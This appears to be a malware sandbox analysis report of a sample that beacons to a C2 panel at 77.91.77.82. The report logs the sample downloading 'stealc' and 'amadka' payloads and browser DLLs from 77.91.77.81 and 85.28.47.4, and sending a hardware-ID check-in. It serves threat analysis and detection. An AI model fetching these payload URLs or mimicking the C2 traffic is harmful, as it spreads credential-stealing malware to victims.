Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 85.28.47.4 85.28.47.4

Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 9_2_0026BD30 InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

9_2_0026BD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 39 30 41 34 31 41 32 35 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="hwid"C190A41A25CD3935430149------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="build"default------IJEGHJECFCFCBFIDBGCG--

Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exepData
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeAm
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeOm
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exephprefoxox
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exera
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe9
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 00000009.00000002.4488287215.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php$R
Source: explorti.exe, 00000009.00000002.4488287215.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php-
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php.R
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php0R
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php6S
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php:R
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpFRk
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpf
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phphRu
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phps
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phptRY
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php~RC
Source: explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/t%
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000172E000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/
